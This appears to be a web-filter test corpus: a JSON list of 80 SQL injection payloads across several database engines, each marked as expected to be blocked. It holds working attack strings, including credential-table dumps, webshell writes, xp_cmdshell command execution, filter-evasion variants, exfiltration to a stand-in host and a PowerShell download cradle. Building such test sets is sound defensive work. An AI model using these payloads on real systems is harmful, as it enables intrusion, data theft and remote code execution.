[
  {"id":"sqli-adv-001","payload":"' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","mssql","enumeration"],"notes":"MSSQL CONVERT error extraction","expected_block":true},
  {"id":"sqli-adv-002","payload":"' AND 1=1 ORDER BY 1--","category":"sqli","method":"GET","severity_hint":"high","tags":["union","column-enum"],"notes":"Column count enumeration","expected_block":true},
  {"id":"sqli-adv-003","payload":"' ORDER BY 1,2,3,4,5,6,7,8,9,10--","category":"sqli","method":"GET","severity_hint":"high","tags":["union","column-enum"],"notes":"Multi-column ORDER BY","expected_block":true},
  {"id":"sqli-adv-004","payload":"' UNION SELECT NULL,CONCAT(username,0x3a,password) FROM users--","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","data-theft"],"notes":"Credential extraction via CONCAT","expected_block":true},
  {"id":"sqli-adv-005","payload":"' UNION SELECT NULL,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","enumeration","mysql"],"notes":"MySQL schema dump","expected_block":true},
  {"id":"sqli-adv-006","payload":"' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","mysql"],"notes":"MySQL FLOOR error extraction","expected_block":true},
  {"id":"sqli-adv-007","payload":"' AND GTID_SUBSET(CONCAT(0x7e,(SELECT user()),0x7e),1)--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","mysql"],"notes":"MySQL GTID_SUBSET extraction","expected_block":true},
  {"id":"sqli-adv-008","payload":"' AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7e,version(),0x7e)) USING utf8)))--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","mysql"],"notes":"MySQL JSON_KEYS error","expected_block":true},
  {"id":"sqli-adv-009","payload":"' AND ROW(1,1)>(SELECT COUNT(*),CONCAT((SELECT @@version),0x3a,FLOOR(RAND(0)*2))x FROM (SELECT 1 UNION SELECT 2)a GROUP BY x LIMIT 1)--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","mysql"],"notes":"MySQL ROW comparison error","expected_block":true},
  {"id":"sqli-adv-010","payload":"' AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1))a)--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","mysql"],"notes":"MySQL NAME_CONST error","expected_block":true},
  {"id":"sqli-adv-011","payload":"';DECLARE @q VARCHAR(255);SET @q='\\\\attacker.com\\share';EXEC master.dbo.xp_dirtree @q--","category":"sqli","method":"GET","severity_hint":"critical","tags":["oob","mssql","dns"],"notes":"MSSQL OOB via xp_dirtree","expected_block":true},
  {"id":"sqli-adv-012","payload":"' AND LOAD_FILE(CONCAT('\\\\\\\\',version(),'.attacker.com\\\\'))--","category":"sqli","method":"GET","severity_hint":"critical","tags":["oob","mysql","dns"],"notes":"MySQL OOB via LOAD_FILE","expected_block":true},
  {"id":"sqli-adv-013","payload":"' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--","category":"sqli","method":"GET","severity_hint":"critical","tags":["oob","oracle"],"notes":"Oracle OOB via UTL_HTTP","expected_block":true},
  {"id":"sqli-adv-014","payload":"' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual)||'.attacker.com')--","category":"sqli","method":"GET","severity_hint":"critical","tags":["oob","oracle","dns"],"notes":"Oracle DNS exfil","expected_block":true},
  {"id":"sqli-adv-015","payload":"' AND extractvalue(1,concat(0x7e,(SELECT @@global.version_compile_os)))--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","mysql"],"notes":"MySQL OS detection","expected_block":true},
  {"id":"sqli-adv-016","payload":"'||(SELECT ''||dbms_pipe.receive_message(CHR(98)||CHR(98),5) FROM dual)||'","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","time-based","oracle"],"notes":"Oracle time-based blind","expected_block":true},
  {"id":"sqli-adv-017","payload":"' AND (SELECT * FROM (SELECT SLEEP(5))a)='","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","time-based","mysql"],"notes":"MySQL conditional sleep","expected_block":true},
  {"id":"sqli-adv-018","payload":"' AND BENCHMARK(10000000,SHA1('test'))--","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","time-based","mysql"],"notes":"MySQL BENCHMARK delay","expected_block":true},
  {"id":"sqli-adv-019","payload":"' AND IF(1=1,SLEEP(5),0)--","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","time-based","mysql"],"notes":"MySQL IF conditional sleep","expected_block":true},
  {"id":"sqli-adv-020","payload":"';SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","time-based","postgresql"],"notes":"PostgreSQL CASE WHEN delay","expected_block":true},
  {"id":"sqli-adv-021","payload":"' AND 1=(SELECT 1 FROM pg_sleep(5))--","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","time-based","postgresql"],"notes":"PostgreSQL subquery sleep","expected_block":true},
  {"id":"sqli-adv-022","payload":"' AND 1=(SELECT 1 WHERE 1=1 AND GENERATE_SERIES(1,1000000))--","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","time-based","postgresql"],"notes":"PostgreSQL compute delay","expected_block":true},
  {"id":"sqli-adv-023","payload":"'||(SELECT x FROM GENERATE_SERIES(1,1000000) x)||'","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","time-based","postgresql"],"notes":"PostgreSQL concatenated delay","expected_block":true},
  {"id":"sqli-adv-024","payload":"' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","lfi","mysql"],"notes":"MySQL file read via UNION","expected_block":true},
  {"id":"sqli-adv-025","payload":"' UNION SELECT 1,pg_read_file('/etc/passwd'),3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","lfi","postgresql"],"notes":"PostgreSQL file read","expected_block":true},
  {"id":"sqli-adv-026","payload":"' INTO OUTFILE '/var/www/html/shell.php'--","category":"sqli","method":"GET","severity_hint":"critical","tags":["write","mysql","rce"],"notes":"MySQL file write","expected_block":true},
  {"id":"sqli-adv-027","payload":"' UNION SELECT '<?php system([\"c\"]);?>',2 INTO OUTFILE '/var/www/html/cmd.php'--","category":"sqli","method":"GET","severity_hint":"critical","tags":["write","mysql","rce","webshell"],"notes":"MySQL webshell write","expected_block":true},
  {"id":"sqli-adv-028","payload":"';COPY (SELECT '') TO PROGRAM 'id'--","category":"sqli","method":"GET","severity_hint":"critical","tags":["rce","postgresql"],"notes":"PostgreSQL COPY TO PROGRAM RCE","expected_block":true},
  {"id":"sqli-adv-029","payload":"';CREATE OR REPLACE FUNCTION cmd(text) RETURNS void AS '\\$\\ os;os.system(args[0])\\$\\$' LANGUAGE plpythonu;SELECT cmd('id')--","category":"sqli","method":"GET","severity_hint":"critical","tags":["rce","postgresql"],"notes":"PostgreSQL PL/Python RCE","expected_block":true},
  {"id":"sqli-adv-030","payload":"' HAVING 1=1--","category":"sqli","method":"GET","severity_hint":"high","tags":["error-based","enumeration"],"notes":"HAVING clause column enum","expected_block":true},
  {"id":"sqli-adv-031","payload":"' GROUP BY columnnames HAVING 1=1--","category":"sqli","method":"GET","severity_hint":"high","tags":["error-based","enumeration"],"notes":"GROUP BY column enumeration","expected_block":true},
  {"id":"sqli-adv-032","payload":"1;SELECT/**/IF(SUBSTR(@@version,1,1)='5',SLEEP(5),0)","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","mysql","inline-comment"],"notes":"Version fingerprint via sleep","expected_block":true},
  {"id":"sqli-adv-033","payload":"' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","mysql","version-comment"],"notes":"MySQL version-conditional comments","expected_block":true},
  {"id":"sqli-adv-034","payload":"' UnIoN SeLeCt 1,2,3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","case-variation"],"notes":"Alternating case UNION SELECT","expected_block":true},
  {"id":"sqli-adv-035","payload":"' uni%6fn sel%65ct 1,2,3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","url-encoding"],"notes":"Partial URL encoding keywords","expected_block":true},
  {"id":"sqli-adv-036","payload":"' UNION%0aSELECT%0a1,2,3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","newline"],"notes":"Newline between keywords","expected_block":true},
  {"id":"sqli-adv-037","payload":"' UNION%09SELECT%091,2,3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","tab"],"notes":"Tab between keywords","expected_block":true},
  {"id":"sqli-adv-038","payload":"' UN/**/ION SE/**/LECT 1,2,3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","inline-comment"],"notes":"Keyword splitting via comments","expected_block":true},
  {"id":"sqli-adv-039","payload":"' %55nion %53elect 1,2,3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","hex-encoding"],"notes":"Hex-encoded first char of keywords","expected_block":true},
  {"id":"sqli-adv-040","payload":"' OR 1 IN (1)--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","alternative-syntax"],"notes":"IN operator instead of =","expected_block":true},
  {"id":"sqli-adv-041","payload":"' OR 1 BETWEEN 0 AND 2--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","alternative-syntax"],"notes":"BETWEEN instead of =","expected_block":true},
  {"id":"sqli-adv-042","payload":"' OR 1 LIKE 1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","alternative-syntax"],"notes":"LIKE instead of =","expected_block":true},
  {"id":"sqli-adv-043","payload":"' OR 1 RLIKE 1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","alternative-syntax"],"notes":"RLIKE instead of =","expected_block":true},
  {"id":"sqli-adv-044","payload":"' OR 1 REGEXP 1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","alternative-syntax"],"notes":"REGEXP instead of =","expected_block":true},
  {"id":"sqli-adv-045","payload":"' OR 1 SOUNDS LIKE 1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","alternative-syntax","mysql"],"notes":"MySQL SOUNDS LIKE","expected_block":true},
  {"id":"sqli-adv-046","payload":"' OR NOT 1>1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","alternative-syntax"],"notes":"NOT with GT comparison","expected_block":true},
  {"id":"sqli-adv-047","payload":"' OR 1 IS NOT NULL--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","alternative-syntax"],"notes":"IS NOT NULL bypass","expected_block":true},
  {"id":"sqli-adv-048","payload":"'-IF(1=1,1,0)='0","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","arithmetic"],"notes":"Arithmetic true via IF","expected_block":true},
  {"id":"sqli-adv-049","payload":"'-(1)='0","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","arithmetic"],"notes":"Arithmetic injection","expected_block":true},
  {"id":"sqli-adv-050","payload":"' DIV 0--","category":"sqli","method":"GET","severity_hint":"high","tags":["error-based","mysql"],"notes":"MySQL DIV zero error","expected_block":true},
  {"id":"sqli-adv-051","payload":"' MOD 0--","category":"sqli","method":"GET","severity_hint":"high","tags":["error-based","mysql"],"notes":"MySQL MOD zero error","expected_block":true},
  {"id":"sqli-adv-052","payload":"' XOR 1=1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","xor"],"notes":"XOR boolean logic","expected_block":true},
  {"id":"sqli-adv-053","payload":"' AND NOT 1=2--","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","boolean"],"notes":"Double negation boolean","expected_block":true},
  {"id":"sqli-adv-054","payload":"' AND MID(@@version,1,1)='5'--","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","mysql","fingerprint"],"notes":"MID version check","expected_block":true},
  {"id":"sqli-adv-055","payload":"' AND ORD(MID((SELECT IFNULL(CAST(schema_name AS CHAR),0x20) FROM information_schema.schemata LIMIT 0,1),1,1))>64--","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","mysql","binary-search"],"notes":"Binary search char extraction","expected_block":true},
  {"id":"sqli-adv-056","payload":"' AND (SELECT LENGTH(database()))>0--","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","mysql"],"notes":"Database name length check","expected_block":true},
  {"id":"sqli-adv-057","payload":"' AND ASCII(SUBSTRING((SELECT database()),1,1))>64--","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","mysql","binary-search"],"notes":"ASCII binary search extraction","expected_block":true},
  {"id":"sqli-adv-058","payload":"' UNION SELECT NULL,table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","enumeration"],"notes":"Table enumeration with LIMIT offset","expected_block":true},
  {"id":"sqli-adv-059","payload":"' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","enumeration"],"notes":"Column enumeration","expected_block":true},
  {"id":"sqli-adv-060","payload":"' UNION SELECT NULL,CONCAT_WS(0x3a,user,password,host) FROM mysql.user--","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","mysql","credential-theft"],"notes":"MySQL user table dump","expected_block":true},
  {"id":"sqli-adv-061","payload":"' OR EXISTS(SELECT 1 FROM information_schema.tables WHERE table_name REGEXP '^user')--","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","enumeration","regexp"],"notes":"Table existence via REGEXP","expected_block":true},
  {"id":"sqli-adv-062","payload":"' UNION SELECT string_agg(tablename,',') FROM pg_tables WHERE schemaname='public'--","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","postgresql","enumeration"],"notes":"PostgreSQL pg_tables dump","expected_block":true},
  {"id":"sqli-adv-063","payload":"' UNION SELECT listagg(table_name,',') WITHIN GROUP (ORDER BY table_name) FROM all_tables--","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","oracle","enumeration"],"notes":"Oracle table enumeration","expected_block":true},
  {"id":"sqli-adv-064","payload":"' AND (SELECT TOP 1 name FROM sysobjects WHERE xtype='U')='users'--","category":"sqli","method":"GET","severity_hint":"critical","tags":["blind","mssql","enumeration"],"notes":"MSSQL sysobjects table check","expected_block":true},
  {"id":"sqli-adv-065","payload":"';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'--","category":"sqli","method":"GET","severity_hint":"critical","tags":["rce","mssql","stacked"],"notes":"MSSQL enable xp_cmdshell chain","expected_block":true},
  {"id":"sqli-adv-066","payload":"';EXEC master..xp_cmdshell 'powershell -nop -c \"IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/p'')\"'--","category":"sqli","method":"GET","severity_hint":"critical","tags":["rce","mssql","powershell"],"notes":"MSSQL PowerShell download cradle","expected_block":true},
  {"id":"sqli-adv-067","payload":"' UNION SELECT NULL,UNHEX(HEX(GROUP_CONCAT(table_name SEPARATOR 0x2c))) FROM information_schema.tables--","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","mysql","evasion"],"notes":"HEX/UNHEX encoding bypass","expected_block":true},
  {"id":"sqli-adv-068","payload":"' /*!12345UNION*/ /*!12345SELECT*/ 1,2,3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","mysql","version-comment"],"notes":"Low-version MySQL conditional","expected_block":true},
  {"id":"sqli-adv-069","payload":"' AND 1=0 UNION SELECT CONCAT(0x3c62723e,user(),0x3c62723e,version(),0x3c62723e,database())--","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","mysql","info-gather"],"notes":"Multi-info extraction in one shot","expected_block":true},
  {"id":"sqli-adv-070","payload":"')) OR 1=1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["classic","double-paren"],"notes":"Double parenthesis closure","expected_block":true},
  {"id":"sqli-adv-071","payload":"'))) OR 1=1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["classic","triple-paren"],"notes":"Triple parenthesis closure","expected_block":true},
  {"id":"sqli-adv-072","payload":"' OR 1=1 LIMIT 1 OFFSET 1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["classic","limit"],"notes":"OR with LIMIT OFFSET","expected_block":true},
  {"id":"sqli-adv-073","payload":"1' AND '1'='1","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","boolean","no-comment"],"notes":"No trailing comment needed","expected_block":true},
  {"id":"sqli-adv-074","payload":"1' AND (SELECT COUNT(*) FROM information_schema.tables)>0 AND '1'='1","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","enumeration","no-comment"],"notes":"Info schema probe without comment","expected_block":true},
  {"id":"sqli-adv-075","payload":"' UNION SELECT NULL FROM dual--","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","oracle"],"notes":"Oracle UNION with dual","expected_block":true},
  {"id":"sqli-adv-076","payload":"' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","oracle"],"notes":"Oracle CTXSYS error extraction","expected_block":true},
  {"id":"sqli-adv-077","payload":"' AND 1=DBMS_UTILITY.SQLID_TO_SQLHASH((SELECT user FROM dual))--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","oracle"],"notes":"Oracle DBMS_UTILITY error","expected_block":true},
  {"id":"sqli-adv-078","payload":"' AND XMLType((SELECT '<!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"http://attacker.com/'||(SELECT user FROM dual)||'\">%xxe;]>' FROM dual)) IS NOT NULL--","category":"sqli","method":"GET","severity_hint":"critical","tags":["oob","oracle","xxe"],"notes":"Oracle XXE-based OOB","expected_block":true},
  {"id":"sqli-adv-079","payload":"' UNION SELECT NULL,sqlite_version()--","category":"sqli","method":"GET","severity_hint":"high","tags":["union","sqlite","fingerprint"],"notes":"SQLite version detection","expected_block":true},
  {"id":"sqli-adv-080","payload":"' UNION SELECT NULL,sql FROM sqlite_master--","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","sqlite","enumeration"],"notes":"SQLite schema dump","expected_block":true}
]